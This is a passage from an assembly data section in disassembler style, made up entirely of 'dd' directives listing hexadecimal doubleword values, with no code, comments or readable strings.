0DC974127h, 0B6555A9Dh, 0F9E93066h dd 6D59B8CDh, 29415E17h, 3C1B41BAh, 407C1A74h, 5F3211A5h dd 820C6C6Fh, 7DF3212Dh, 2E2A9D61h, 0CB68E483h, 1257270Fh dd 0F502ABFAh, 0CE7F0A6Ch, 49527C89h, 0ED8256A4h, 0CC501B9h dd 5B68016Ah, 0A902BBFFh, 0CB2A62EFh, 45ED1790h, 0D85E2FE7h dd 824FFBB7h, 6583AC27h, 7E8E4D08h, 0B5B9F278h, 2EBCEC5Eh dd 0F83970Bh, 3F83E786h, 0FCDBAC5h, 9478ED31h, 0E2D10066h dd 9388130Fh, 0D8C345D7h, 40599851h, 5E3AF565h, 0CE0A83F0h dd 0F1F38721h, 0E47FEED7h, 430E0E60h, 0F1C111ACh, 8DDF8C2Ah dd 5FA00934h, 0B1305FC2h, 0A3CBAB78h, 2F80DE9Ah, 16A815FFh dd 4EF1CBE8h, 0FECCA153h, 48631705h, 0F0F20593h, 5E07092Dh dd 9E2C55Fh, 9E7D6F91h, 256A90F1h, 26C666B1h, 627A0507h dd 96E54CD9h, 0C19580EFh, 460302EEh, 86FF681h, 0C2F2BF5Bh dd 0B5760AEFh, 0CF85F88Ch, 0E8188E9h, 8EE9C729h, 0E23454F6h dd 2083F349h, 41FE682Fh, 807C4B70h, 3157383Bh, 0D75B8CB0h dd 95BCEE0h, 0D5E9187Ah, 0EB2697FAh, 0C7435EB3h, 0AD6CE8ECh dd 1E662568h, 20A02666h, 0E9121610h, 0CFA7320Dh, 9205E34Fh dd 21D2F1B3h, 1A72FA4h, 3E30ECB1h, 0CC283A57h, 59BCC4BAh dd 0F0E0BF6h, 25C00D85h, 0C8B8ECD0h, 0BFDDEE32h, 0F5784AA5h dd 1E5ECDE3h, 26FFA430h, 0B5545FDCh, 5D8FD041h, 0E907FA05h dd 14B4FB3Bh, 9FB3E21Fh, 45C5CDE9h, 0AE128108h, 88BB0351h dd 0F455CB2Ch, 818EA8FEh, 764B0EE3h, 0F3C078A1h, 10201244h dd 0BC0678BDh, 0BF682Eh, 283630A6h, 0BC5A2BFh, 94ABC731h dd 0E49ABAF4h, 0B612E849h, 7388EFC9h, 0BDED922Ch, 0FC52DAF4h dd 38BA006Fh, 0E975F453h, 97ACB45Ah, 4B0BFAD6h, 0A91379C1h dd 0C2F316BAh, 77404Ch, 4CB30DF3h, 576031Ch, 0E03A9426h dd 0A9E9B812h, 0B27BBBA1h, 0A668C281h, 765D507h, 6358E90Bh dd 0CD64A76Ah, 0EA6812A0h, 0A52C995Fh, 5FA5AE5Eh, 13828CE7h dd 62729660h, 4C5955CEh, 0D02A6D63h, 4E2BE90Ah, 0C942B886h dd 0B7B070FBh, 0C6200516h, 0BD662D76h, 110285Eh, 9FB2BA62h dd 135FF9DDh, 4345EE33h, 0C909891h, 187A1D77h, 6C4E5E55h dd 0A097D160h, 7825D524h, 0F289060Eh, 0FDA74BE9h, 0AD174521h dd 0F746FAF4h, 3D8E37B0h, 0A07ED5D9h, 46022DFDh, 315E9950h dd 2D489C5h, 564CCC23h, 0C821707Eh, 7BD05B0h, 6F825CD1h dd 85AC7E1Ch, 0BA3F9C68h, 0D92F673Dh, 7420AD16h, 127F7AF2h dd 9114D5D1h, 5A1A6D27h, 0DA313CF8h, 9076E096h, 0F37920BDh dd 0BD056302h, 0DDCB7EDEh, 95E92681h, 85902BE2h, 7EAA6F5Bh dd 0A2D34E51h, 1712D6FAh, 558F3DBEh, 0D6E2EFA6h, 2127531Ch dd 0ADC7253Ch, 0B63EB24Ch, 72FD8424h, 5C5D9AAEh, 2A1C48E2h dd 5A5AD614h, 0E7D16FA0h, 766ED83Ah, 6802C9BAh, 19F009B7h dd 657C5559h, 9CB95180h, 0BD44296Ah, 3F243879h, 22D2060Ch dd 3724C05Ah, 0C16CB60Eh, 0C8BFF2B8h, 251365BEh, 2BE064F3h dd 0D24BF6ECh, 931B4E0h, 0F12906CEh, 17088888h, 221E095Eh dd 3DF4195Fh, 11A1142Ah, 0EDC1293Ch, 19BD7F99h, 0DBF70809h dd 0A2F68504h, 434E7813h, 0A7E18FD7h, 508CEB6Ah, 0B1DB9E3Eh dd 39802A3Fh, 9CF19FB7h, 7DED5796h, 7CEE311Ah, 95B12D8h dd 60F31880h, 42671228h, 0B58B8D1h, 8B3A5Ch, 6230E25Bh dd 0E5145C45h, 0C592B93Eh, 9190333h, 0EFB48C08h, 80637D4h dd 220425Bh, 0CF2883DFh, 10D8BFE9h, 6F135E9Dh, 0D56B2C85h dd 1C56AA15h, 0D82516A8h dd 0A0C2A89Bh, 0D8A7F25Eh, 49612D64h, 172E9094h, 5F5AE831h dd 1DE96121h, 0C8442B85h, 0B110A65Ah, 0BD15D758h, 0FD4FBCA2h dd 8E521143h, 275CE710h, 82DB1A5Fh, 5F480A27h, 0FD828694h dd 0EC63CC18h, 0CF88719Dh, 0F4A59DC5h, 0B2B02C1Ch, 88C08D34h dd 0D6686F81h, 0AB00BCDBh, 0E92D21BCh, 48EE5B27h, 1F11BD48h dd 12385668h, 2FE3BAA4h, 0A295F612h, 7B99516Fh, 0E6ABBBC5h dd 0D52984EEh, 0FB29E92Ch, 80606268h, 0FA0F99CBh, 0C3AFBF7Eh dd 0B8A9CE4Bh, 85D780DFh, 9F49341Ch, 0CE58C2CAh, 0B332E930h dd 4B9D685Fh, 92CBAD73h, 0FC0530D9h, 4A6BCEEAh, 0C13E54F1h dd 3A141FA8h, 279AB1DCh, 0F703C17h, 85828C7Eh, 0D40041E4h dd 233E56AEh, 0F28B7A51h, 0FAC8B7EEh, 0E917CE01h, 77FACBF9h dd 81E234BCh, 4261822h, 5F2A1B81h, 42CA5F3Bh, 33EA1766h dd 66415843h, 0BD5E4108h, 0B7EC7BFEh, 3AD43A86h, 0BB35584Fh dd 4E7FC204h, 0C051BC5h, 90301820h, 4C559F68h, 4D486A7Fh dd 0F9870609h, 774C0255h, 0F91EDD7Ch, 614156C1h, 80605001h dd 4969974Ah, 0D1E9E403h, 0D7E29054h, 71209441h, 0DA4E14C9h dd 0BB048F34h, 0FEF5B33Ch, 0F0E9AFE0h, 659296CEh, 33D950Ch dd 1E5FE24Fh, 45B5EB94h, 6A13A02Dh, 79AE90A7h, 614EDF6Bh dd 0A7047353h, 0FF13E190h, 0C81B5BC2h, 1E6C1F5h, 1ECE8105h dd 0BA793319h, 39628196h, 3415E97Ch, 8838FA6h, 0CA2099B5h dd 0C68E20Ah, 2D0BD710h, 0FCE61EBFh, 0FCE85E0Eh, 0EB1A9E10h dd 48BD400Fh, 0AC2BE14Bh, 19F2B7A4h, 536768A4h, 3BDE0B62h dd 2300D801h, 57B44E14h, 3F770690h, 0E9E42A06h, 353B7E75h dd 9C66DCF0h, 89B6583Dh, 58D5CC2h, 0B7EE0568h, 6F9FF565h dd 1AF16FFDh, 0F2BB8928h, 4E4165Eh, 2E45B7BBh, 308EF178h dd 9B95643Bh, 0BE6A03BBh, 4DB86EDAh, 210DD60Eh, 0E03149F4h dd 1DD3F622h, 806C4C4Fh, 806056C5h, 7F20E962h, 8535019Fh dd 891B8A53h, 524070C7h, 5CECC55Eh, 57E051C9h, 803FDDF6h dd 0F50673EDh, 59E828A5h, 0C18C40C6h, 8102E200h, 1B2F25CAh dd 9613FC2Ch, 0EF310B63h, 0BCC8055h, 1E56F723h, 49EA6857h dd 0FD84073Ch, 280012F9h, 9835DBF2h, 8D0F3F7Dh, 0C28342CEh dd 66436F0Bh, 52A98CE1h, 0F415D93h, 0F94703FFh, 0DACB84Bh dd 0CF081F42h, 0EDFF99CCh, 0C44FC8F9h, 66D52F4Fh, 108E7004h dd 0C5C90F13h, 22EEDE4h, 711F8768h, 1DA800Dh, 0F8093088h dd 0D4A6E916h, 7DB98D37h, 67586D12h, 801DECBDh, 9876A381h dd 4FD60BA6h, 0B553767h, 1329DB23h, 50D1FDFh, 80343D25h dd 5810EADFh, 877E2D28h, 555B0309h, 99A1DD19h, 0FEA777AFh dd 47EEA18Eh, 0B6C00BF6h, 0CF7554ABh, 423D925Fh, 6EDC02Eh dd 38AFF58Ah, 664DE27h, 59147995h, 0C2E22B09h, 694DE9C3h dd 0ABC77F00h, 1C94A8Dh, 929894FDh, 25F24567h, 313DC335h dd 0BF114A3h, 0B64F3E20h, 407F072h, 0ABC1089Dh, 0AADAA87h dd 844F12E0h, 479C0113h, 70568C57h, 13486E96h, 0A3F86F34h dd 7B08D121h, 75283B18h, 1F3EFC40h, 30EB4E30h, 0A7D2E9EBh dd 7B031BB5h, 0CB0320D8h, 667253EEh, 11B86819h, 0DFFAC1E9h dd 0BD4A6416h, 775A0609h, 92603592h, 7FE11EBCh, 0AE9365B7h dd 0ACE93430h, 0C80BC638h, 0A9F454E3h, 48CDE15Ah, 4806CEF1h dd 3302EB07h, 0F36028B1h, 6B5FD3ABh, 312540Ch, 20F750D5h dd 0C1B7FBEDh, 0AC89F57Dh, 0F579F91Bh, 23ED5549h, 0E905D6AFh dd 4B9865F7h, 277665DDh, 8169305Eh, 8676A518h, 67D901E4h dd 6060C257h, 814511FFh, 6CBECD07h, 0BC6C4D7Eh, 5F79271Bh dd 57CA1042h, 6BFEDC55h, 86C96DF5h, 0AB763E9h, 30C53416h dd 2C0ECCFAh, 0F8794170h, 0C3F85BE8h, 0D269E92Dh, 7A8526A1h dd 428F6118h, 5BAD7A38h, 7D3A6809h, 570BEEC6h, 57092777h dd 0C3689E8Fh, 0ADE3B05Bh, 76B9263Ch, 8C7A123Ah, 0CC52D62Dh dd 70F20499h, 0E8AA7B59h, 12B05B95h, 98DBF692h, 0BC89789Fh dd 7F7427A3h, 5F8714C2h, 80078047h, 0EB30AFC3h, 0EDD4E93Fh dd 0B0EE985h, 46B1C3BCh, 6A5193E1h, 4250E9A2h, 0C07D8237h dd 2D234C12h, 1292028h, 8B39825Fh, 8AC75734h, 1A7CC08h dd 0C73DB305h, 0F0DD6129h, 60BE3F88h, 0F8FF0449h, 0B3C0EF1Fh dd 0A548680Bh, 0F4BF17DEh, 7A79DDFAh, 5B80ADB9h, 56EBD143h dd 0D02E490h, 0E90A3659h, 0D20B75F9h, 24CBFFF6h, 3CF09B95h dd 81EB5FB3h, 28F3287Ch, 0E95107D3h, 0FD09367Eh, 819DA6EEh dd 4CA50EE2h, 13414130h, 0F119A56h, 9EA402DAh, 7488020h dd 31604A60h, 35A9CE18h, 0BC74980Fh, 1FBE00A2h, 296F1221h dd 7FF9F75Ch, 0E9C0B605h, 10CA0DA0h, 6628BE4Eh, 0F30BAED9h dd 453C2E9Ch, 0C45E43F7h, 2107121Eh, 7F2D88D2h, 0B0894C8h dd 1EBA6C40h, 84C51943h, 0E90A026Ah, 0A8C8F7D9h, 74BDF030h dd 0D1F7725Ah, 0F38A4276h, 0E6D52E75h, 32B7CB0h, 594447F1h dd 24E255BBh, 28F3048h, 2BE948EEh, 0A04C2CAAh, 0F945905Fh dd 0A2AF6602h, 525300A1h, 0DE4BE368h, 0B561B532h, 0CA0FBEE7h dd 5DEE1784h, 9686CB3Bh, 0E376A4h, 716D06CBh, 4B11FC1Ch dd 126DB7DFh, 31ACED81h, 0E94022A4h, 0F4DBD07Fh, 8F439747h dd 0FA8EB2A7h, 3F23B248h, 9BE1C9C4h, 5BDA7591h, 2113DD62h dd 0B065A8F9h, 2F0BE9C1h, 0F2455455h, 646159AFh, 9E7AAC46h dd 7EEB2A09h, 5632C29Ch, 0BFCB6CD7h, 64890365h, 885A798Dh dd 0DB2CF4AFh, 811A1C0Ch, 8BB0FE3h, 8E8211D1h, 5FC9C299h dd 0E95D6FF3h, 3CAFC116h, 49BF2B10h, 7E30F79Eh, 72BB8024h dd 3642C1Eh, 58D2DBD4h, 6FC302AAh, 54210A5Fh, 436D0F6Fh dd 0B3B5F032h, 0BCF6E818h, 173B8C5Eh, 50292651h, 835808A8h dd 0BC19A416h, 63F1E80Fh, 8DFEA9B5h, 0DEF7D813h, 53B06F01h dd 0AC6E50D9h, 5ECE00F2h, 0E9499F15h, 0FBEC4A44h, 7589AC32h dd 682C427Ah, 4CF2A45h, 31AF55C3h, 7295263h, 1344EFD3h dd 34BD3481h, 6060D962h, 0EB06885Bh, 0D6F6F386h, 0BEDDF008h dd 30752FB1h, 0B7E43886h, 2F597BEEh, 0D6282503h, 5EC3075Ah dd 6F0567C0h, 0D880EF2Fh, 8FB2525Bh, 6412FD95h, 0E98422E7h dd 49FADCD1h, 0DC0454BFh, 0CC05128Ch, 2CBE3756h, 2AC655E2h dd 771FC57Dh, 927EFDD9h, 0FE76C17Bh, 0D55A6AA6h, 0E916A6D2h dd 37AE0EC9h, 9E02BD4h, 54B08958h, 0E57DAB7h, 44507D80h dd 5137C5A0h, 0D61F0578h, 0E945566Bh, 28BE743Fh, 71701011h dd 0D2965797h, 3F947F95h, 0E558C627h, 0B0A79251h, 0F7F847C5h dd 0B91CE30Bh, 0C0E7025Dh, 407E0BCAh, 346DA78Ch, 0C6530357h dd 4B5CDAC5h, 2C61D8E1h, 4AE9A806h, 0D356B442h, 335C54ACh dd 510C26B0h, 0FFBC8925h, 60AF59CDh, 8A79C324h, 720446F4h dd 42858859h, 0BBACD0FFh, 7E1E22BCh, 0BECB5756h, 0BAF96BB7h dd 13CD5ECEh, 2B92AF29h, 0A82FDFDBh, 2158C362h, 0E3FC3842h dd 0D11CEE42h, 58C580A8h, 0F423AC9h, 0C20B8D18h, 1F1BF2B3h dd 4750301h, 0E4B16384h, 7BF0F545h, 0E9683006h, 3183967Fh dd 0EFB859C8h, 7FD949F1h, 2086AF21h, 47DEBB00h, 34691726h dd 0AB728E01h, 3EDD0F51h, 0E909B33Ch, 0B9F74CFBh, 3E2C5BC2h dd 10E66F84h, 9C0F1288h, 83F062FFh, 5FA51708h, 62356580h dd 6A16BF3Eh, 8FE6C689h, 3EA3AC4Ah, 0DF4D6936h, 0AE741940h dd 9918B124h, 0CF5B0902h, 0AFA8FD15h, 13FF2608h, 11396190h dd 8580041Bh, 4B83E196h dd 0C377B494h, 852D520Ch, 5470C65h, 1746C53h, 904BF9FBh dd 0E5E9120Dh, 9D683F80h, 3CBF322Fh, 227C76F6h, 0F4807A60h dd 0B5E3E073h, 1C65ECFEh, 0F05A35E8h, 0F55D8BB7h, 40483Eh dd 6E2C032h, 87F280h, 8A59B050h, 0E94A5EC8h, 4844F627h dd 3D73419Eh, 66B72EF1h, 0D5E55217h, 968ED35Fh, 0EB19C481h dd 0F1368A7h, 77FFB932h, 0C3A26333h, 0CC56F1DFh, 81EFBD50h dd 767312C7h, 121EE4h, 47870C74h, 4F4AE95Dh, 8EEBD5D1h dd 280ADAF0h, 80A6F301h, 62665E08h, 8ACB728Fh, 83093EFAh dd 0DD430F0Eh, 80F8B62h, 0AFF513A4h, 0B21328B2h, 885FAAEAh dd 0C4A1A5F8h, 0E68102D7h, 211F44FBh, 3AC068C1h, 698F3727h dd 4604316Dh, 12F0D7Ch, 12932B54h, 3C0B940Dh, 8F2D986Ch dd 26BBC74h, 236F2DFh, 0FE57D701h, 95B04472h, 0F3B288EBh dd 2FC6FD3Ch, 1CE6F8A1h, 4005F801h, 5F1BAD2Ah, 534094E9h dd 2E7B7FBBh, 2CD4A39h, 4E036B59h, 208E83E3h, 24F98839h dd 5BC7A0CCh, 8058E5B0h, 271A73CDh, 49F6C6F5h, 1667BEBCh dd 769148C5h, 6E333721h, 2A54C25Fh, 8C005B4Bh, 53585D16h dd 51BE56h, 0BB48093Ah, 62C24C6Ah, 471589Fh, 961B7905h dd 9110FF23h, 445B2707h, 70E91907h, 0DCE26BCAh, 7E9DF71Dh dd 0CE22F263h, 1590AB4h, 5055E531h, 28E0BDC8h, 25B31A7Bh dd 0B7BA2DCh, 13C9B08h, 9A50E835h, 4081407Ah, 4AB21F01h dd 2160681Ch, 28B8DD25h, 0B86BECE9h, 5E5720Ah, 65947292h dd 7E0105Bh, 0E6D95825h, 44563A62h, 74430376h, 0D88912A2h dd 9DE2D3E9h, 967BF61Ah, 6EE48337h, 888F547Ah, 65512CEh dd 4307E04Ch, 682F6BA4h, 0EC584BABh, 0FB2793EAh, 444A6A04h dd 0D4BA18B8h, 66A42050h, 68E6E1F7h, 96516924h, 6BB1E942h dd 0BA52D07Eh, 836E2DFAh, 304A3841h, 0E64103EBh, 468F0E85h dd 0D6FDE90Dh, 5AC4BDBDh, 0CD3CC830h, 0BA47104h, 14ABEFD1h dd 9C352DA5h, 0DF8CE252h, 0A0C9D9C9h, 0F45DFBF7h, 8A73954Fh dd 38F7B988h, 466EB12h, 0BF3E225Fh, 2C7CE9CAh, 52E5713Ch dd 0F88568C1h, 1DCFEE76h, 0D33DE0CBh, 4E870F47h, 0A2C9847Bh dd 0C98A8585h, 66995DC0h, 0A0CF5EBCh, 64EBC4F7h, 0C8FFC3A0h dd 0A93E4280h, 0E027A53Eh, 5E895E32h, 99F5FF1h, 70513772h dd 0CA6853C0h, 0BD98BD66h, 0D6BD94D3h, 225DC93Dh, 0F507017h dd 73C1F118h, 0E4AD2EE1h, 515DCC93h, 6D6E51BDh, 1B3C2A0Eh dd 7FCD41EEh, 0A20D4304h, 65C06802h, 2062EC57h, 0E12C74CFh dd 0A70B7CF0h, 155D2BCh, 6F831ACCh, 468E0F43h, 0FA555F9Ch dd 14E26FC3h, 0E9CEF4Ah, 601892F1h, 685AD959h, 61AA7182h dd 0BEA04061h, 6A2F9224h, 0B15B29FBh, 785606D9h, 0EB415FEEh dd 0E90740EDh, 6D9146EBh, 971BE502h, 0E4B8C144h, 0A880AA55h dd 0E17E5B4Dh, 0A8528CF0h, 1DF6888Ch, 5642BABFh, 0E34F1659h dd 0F652254Fh, 0B35D4401h, 52E5854h, 554946CEh, 39F7080h dd 2C0575CAh, 9FC1A3FEh, 0EC690DE5h, 7FB43FFFh, 0FCEE7F2Ch dd 0F5C85721h, 1D28924Eh, 0E9BCF178h, 574B73C7h, 0A0FCA01Ch dd 8ED0CD5Ah, 0F4EBED80h, 1D709C64h, 3656F2D1h, 4095277h dd 1EF99FFBh, 158CD053h, 9126E2Fh, 65E12CE9h, 663FBF2Bh dd 0D3F3A85Eh, 812E98F0h, 8C19D1E9h, 5F873A0Bh, 337501C6h dd 0F209719Ch, 0C7A82E5Eh, 394B0C98h, 2431020h, 423DEC4Fh dd 65D849E9h, 6E44B5h, 6BBF6018h, 0A92E581h, 0CDB0E3E7h dd 0FF2C7EC1h, 0D002FB23h, 4061554Bh, 1434FD19h, 920102AAh dd 3AB11D10h, 0EA3789BFh, 301C5668h, 66DDC187h, 0DE059828h dd 6C296EC0h, 0C24D52C8h, 0D6340470h, 43C52EC0h, 2FC6E18h dd 2471264h, 0E9567AB2h, 0C77DDE4Dh, 0C0EA610h, 883D8BAh dd 21993A17h, 0AD40C042h, 65C05D2Dh, 72D58CFh, 8B64F6D4h dd 0AA6873D6h, 7F267DB3h, 313785Ah, 5B2CBEBh, 5E802D27h dd 58FB39E4h, 5B01F25Fh, 0ED437A25h, 0CA68200Ch, 308B2216h dd 59A00EFh, 0C48C83BBh, 5EC7312Ch, 775D6062h, 532D9BEDh dd 53E90246h, 0E480036Eh, 0A14F56F3h, 5416A48h, 69CF1CB8h dd 9F62882h, 0B53E4E5Dh, 3E5BAFF8h, 5E6074E5h, 40883D0Dh dd 90ED4E96h, 3C34CAD3h, 92F5015Ah, 55A0800h, 70E007Bh dd 459A2D74h, 0FADF59DEh, 44F90728h, 0FE3BC411h, 0AFC584F7h dd 734701ADh, 0EC49DC66h, 0C8BDD926h, 0C0E76099h, 6892EE9Bh dd 44BD48E0h, 5F9198C2h, 0BA509594h, 5E8D34F0h, 424BB46Ch dd 0EA30C398h, 50050E33h, 0E508C57Eh, 3E82AF7Fh, 0EB69F985h dd 16A62804h, 5D514704h, 7D0E8BAEh, 688A2427h, 254F75F9h dd 0CC772AA9h, 565B17BFh, 0E029AAFFh, 0AA2E3C0Dh, 84D4CC45h dd 131AE4FBh, 5D17099Fh, 692672EDh, 0A5B210BDh, 0D617B748h dd 3C2F26CDh, 61668707h, 0B256883h, 933860AAh, 60004E75h dd 9EC33FBDh, 97FD01F5h, 0A425D416h, 72D67C37h, 8B6EB2FDh dd 8945F502h, 88898068h, 0E431772Ah, 0BE835051h, 0E43D2636h dd 0EB771271h, 56DEE8BCh, 0C4808493h, 17D51FCBh, 8AC4908Eh dd 384BCB6Ah, 0DDE25C87h, 62C5D6E7h, 53043E5Bh, 5A572EEFh dd 38820A95h, 23140BBEh, 17673440h, 80189F53h, 6D56ECB1h dd 2081D097h, 0C8A827EFh, 0B980071Fh, 0A10E017Ch, 1A200567h dd 232060F8h, 1689F40h, 4D76291Ch, 0F4EFD15Fh, 9CB7E2CDh dd 3547B30Eh, 0AF8AEAB6h, 2A44BB5Ah, 0F6A3D0A4h, 0CC39A705h dd 1A80FB06h, 9E1AFA68h, 7C2F60E9h, 210B612Eh, 0F825E9C1h dd 84BB0462h, 0D5FF8E29h, 0E592EE84h, 0C279F7F7h, 0E90BB568h dd 68BAC04Fh, 8E761E4Eh, 0F0BC894Bh, 0EA2D9F5Ah, 0C05AAEh dd 39B15D45h, 4E52EF81h, 0E9431706h, 1D43D83Dh, 2F4D3BC5h dd 7E90B77h, 20EAE056h, 0BD24F6D8h, 0C4B9736Bh, 76B221Dh dd 64D25C98h, 7A1BC9BEh, 0FD055F1Eh, 253564Dh, 72E9C789h dd 53BFA382h, 0A2AA8519h, 2CE0D2C9h, 0D508A22Ch, 53D4A68h dd 7E15112Eh, 8847780Bh, 0A4278171h, 96BEC35Fh, 0EB0B9EFCh dd 4326E71Bh, 0EC065A89h, 0BD2C67A3h, 3D755661h, 28F49E61h dd 0F1585F46h, 8B12B928h, 7DCDF349h, 0EAA44902h, 0AA20874Ch dd 67EC569h, 0B706048Dh, 87BB0985h, 55AB32C0h, 3FC2936Ah dd 127C0B0Ch, 0F852BB94h, 19F795FDh, 72281DF6h, 0F654236Bh dd 0F3284D04h, 940BBF17h, 9100F59Ah, 4604C0FEh, 0F3EB8013h dd 660A5DEEh, 0A8A03C8Eh, 0AA25479Dh, 0AE033737h, 6A32FD6Eh dd 870B5BB9h, 62551B68h, 0B81EF7A2h, 0E90AEF42h, 92B5CA9Dh dd 0CB1EAB41h, 0DDC12B89h, 0E8AFB365h, 2169ED20h, 4D025198h dd 0E27F1055h, 6834FE82h, 0B4E260Ch, 2D1C819h, 1389153Ch dd 4684199Eh, 9324ED0Bh, 0E0C2BA5Dh, 0E94897A7h, 85C08AC4h dd 0AF1251C7h, 28419801h, 90CEA0Ah, 32A358B0h, 0F2F462Ah dd 516929FFh, 402F557Ch, 0C45676F0h, 17AD0192h, 0A2BF97BFh dd 3BDC87DFh, 0B19C5699h, 0F3595402h, 5FCB7E18h, 25EE7889h dd 8DCDA30h, 6AA55B67h, 0B715A3F1h, 681228BBh, 0F6099F27h dd 6E66717Ah, 0E6D8B34Eh, 0F84AA4FFh, 9FC670EFh, 6B8C1BE7h dd 977629F8h, 80BE244h, 94CAD61h, 8558827h, 0EA0E5F18h dd 286D3F42h, 0F4555CFDh, 6E5DE800h, 7DE5BD47h, 2992C917h dd 48634AB0h, 57CF7109h, 2D8E422Ah, 31500576h, 9DA2FED2h dd 0EDD18382h, 1796FF41h, 0A33C0650h, 5E0CC023h, 296EF64Ch dd 3EC498F9h, 955B5753h dd 0F3EB8077h, 0FC84B788h, 0D9D94B01h, 0A4DF6C88h, 0A2E3E9BAh dd 5370DFEDh, 0B2B45012h, 0F61990EEh, 3FEE80DCh, 31C9E930h dd 44D7BBBh, 0DD095578h, 4D2BC5Bh, 28871EC2h, 1C7300D1h dd 99A681E2h, 77EA9F0Fh, 14312685h, 0AD2520A5h, 5E9DC9C6h dd 0AF0FC1B9h, 16AF3CC8h, 9DAF8041h, 819A2D23h, 17A9E950h dd 5973CF34h, 63817913h, 30C33DB8h, 471939BDh, 2A0C66A1h dd 9534C5DCh, 80D13EAh, 5B14020Ch, 3BA5D1DFh, 0D94A2A4Dh dd 50F36600h, 81B91696h, 58758703h, 440C093Eh, 83024756h dd 594C1114h, 56AE682Fh, 935AC5F0h, 0DCB253FDh, 42B9D269h dd 605D293Eh, 8086CC65h, 0B00B5052h, 84C8FE49h, 0A7EE88A8h dd 0F0BD1673h, 49AACAAEh, 45E64FDDh, 0A2348BC4h, 47BDD2F3h dd 4709EB88h, 0ECBCF59Eh, 408EE925h, 24685972h, 88426EECh dd 5C1EEB02h, 0E00C43CAh, 0FA37FCBh, 0BB58D829h, 8A7185Ch dd 0D3C7F63Dh, 3220AB0Ah, 0D093D03h, 83DBF777h, 5F16825Ah dd 5E797B18h, 3B5300CCh, 0B475E97Fh, 0DAD1B0AAh, 7A825A0Bh dd 75489DDDh, 0E6B5CE68h, 28F2713h, 978AED14h, 878B095Ch dd 0B887AAAh, 608C2772h, 91207EFCh, 650FA304h, 2D844178h dd 0FE885ED0h, 0F028275Bh, 2E9E01DDh, 0C8E4902Ch, 2FE9E804h dd 7E598007h, 13D4D62h, 2B4F1268h, 7C32BEE6h, 0CDFAEE67h dd 0E75ECA2Fh, 0FD589308h, 0C4EFB549h, 0C275A960h, 0DBCFB3E9h dd 0BF57963Eh, 0B5B6D724h, 0E30F347Ch, 27BF80Ah, 62CE10C2h dd 9CD87FDCh, 625EB00h, 0F7E94DAFh, 9F2EAC53h, 8EC25EEBh dd 0A125FBDDh, 0A06A9236h, 5A0455A9h, 52D5F75Dh, 0A49FFCE2h dd 6B54C9E8h, 0ED2DFC83h, 0F0EEB32Eh, 2654DF56h, 2175D601h dd 0B0462508h, 5EB45A5Ah, 247D5BB8h, 5B18C235h, 0F0E600Bh dd 0D62F338Ah, 8BD0C7DDh, 0FCED1B74h, 280B4FD3h, 77D7F74Eh dd 5F249A64h, 0C300336h, 789B9C13h, 0D972D2Ah, 6C9C719Bh dd 0B2F69A1h, 5ADB615Dh, 9FC7E27Eh, 0C7A632C9h, 9CBC0887h dd 4E586806h, 0F9CC2915h, 7712BCC4h, 312FA9BEh, 2B311D5Ch dd 0EFEA5DE2h, 0E97ED97Dh, 329021F2h, 0BF324F0Bh, 2E97049h dd 774EBB53h, 8DC17CA3h, 5C246ED3h, 15D0CEAh, 950991h dd 0C6505A4Bh, 7CD67DC4h, 0B3882DDAh, 0A2979846h, 4628476Fh dd 4B9E79ACh, 0D58C84C5h, 4B308E4Ah, 15FA95D1h, 685A5E00h dd 18630F27h, 0A91B9914h, 41245E17h, 5EC79087h, 45D2A0CEh dd 7CA3CC5Fh, 3C05A84h, 9331810Fh, 0B2AA8CFFh, 0D5891CCFh dd 97D5CE93h, 0F25952FBh, 8EFB85B6h, 1CCA28FAh, 0F9BF769Ah dd 0F55F46E4h, 684EE913h, 669B890h, 0EDFA9FF9h, 49122D7Ah dd 0A0C46AA1h, 9AE90703h, 0AB7B1369h, 0CB89E04h, 2F5E4768h dd 0B6774AA3h, 0D2971C8Ch, 609E552Fh, 9ABB5D4Ah, 3B6809B8h dd 7130F503h, 64EF7BE9h, 0BF075739h, 25382AA9h, 75AD17C2h dd 0F325E8E5h, 2683AF82h, 89286A85h, 0AE4192F8h, 95C123Bh dd 0CEFC067Eh, 0CC345125h, 564F7F22h, 0C3B29877h, 9220F5B7h dd 0E2885210h, 0A95AC8F6h, 9C4F1141h, 1DECDE43h, 0FD2FE199h dd 9C888640h, 5B5C244Dh, 63B84684h, 4F09EC90h, 5806FE20h dd 0FF07805Eh, 0CB682F30h, 98C899C8h, 3CD90880h, 0F6FE805Bh dd 50D25C52h, 0F9D8F189h, 501ED597h, 0D32797BEh, 278D2482h dd 0E5D99762h, 0C1D78584h, 5881BA00h, 4A0C56E4h, 2D172DE9h dd 0A8E0FFEEh, 0C26D2E6h, 0F0A7B52h, 9D248F12h, 7778C1FDh dd 0E99BC486h, 286CB91Eh, 0A609B5F2h, 59077427h, 0C7D74B63h dd 0FCE90B93h, 0BC17C1E3h, 0E17195CAh, 352A0B7Dh, 375181C9h dd 5CA3646h, 2EDF1025h, 49F2D781h, 34B0FE04h, 0BD7A5BCEh dd 7D608B29h, 0B2457BC9h, 0CAFB18C1h, 0B8C0D5B4h, 0CEB5B4C7h dd 7B681075h, 0DFE93D51h, 0B855C8B4h, 0F4645BBEh, 201E0564h dd 0B7C92FFAh, 3986FAAAh, 0DB858106h, 0C32AAC54h, 30CF02A9h dd 0FDBFF5B1h, 0F496E974h, 4A9D702Fh, 0EA5FC555h, 1721AB39h dd 18861FE0h, 0F5E0E942h, 0A951F280h, 5DCB8582h, 0C4E2D329h dd 1A39A2C1h, 13F82E7Fh, 784FC600h, 0B18D0F48h, 4D230797h dd 0F4A68072h, 74CD812Fh, 600DF939h, 7EB7FCAFh, 2012A888h dd 0E09DE225h, 2091C56Dh, 8728013Ch, 0D72CCDF5h, 0E66A9D50h dd 8148D9A5h, 7817302Dh, 4783535h, 0BC2BB07h, 3FF80906h dd 38F93E01h, 2B7868E4h, 0D3CE8C6Eh, 0E9C782BDh, 81E576A9h dd 0D451DBC5h, 19A03B34h, 0B5F37802h, 1227D163h, 0A0F3E401h dd 80DE226Ah, 10B8FE87h, 0C0008D3h, 8BAB961Eh, 5EF12731h dd 2A01E341h, 68C2F2E2h, 1271365Ch, 1898E941h, 0EE13953Fh dd 0F8A436C1h, 12D9FD2Fh, 0B54CA8B2h, 13DD74D6h, 0FAE4F4A5h dd 25E2E317h, 57C953DEh, 0F254EDEBh, 0EA0C52D1h, 0C51FFA49h dd 0AEDF29FBh, 0D0BB9684h, 68565058h, 11541E05h, 0F4AF5E26h dd 1070D4Ch, 7AE916CAh, 8BF7929h, 0EE408B2Eh, 0B00A7672h dd 0C9BB76ACh, 78AA4B7Fh, 0CFB23E1h, 157CC588h, 0A845713h 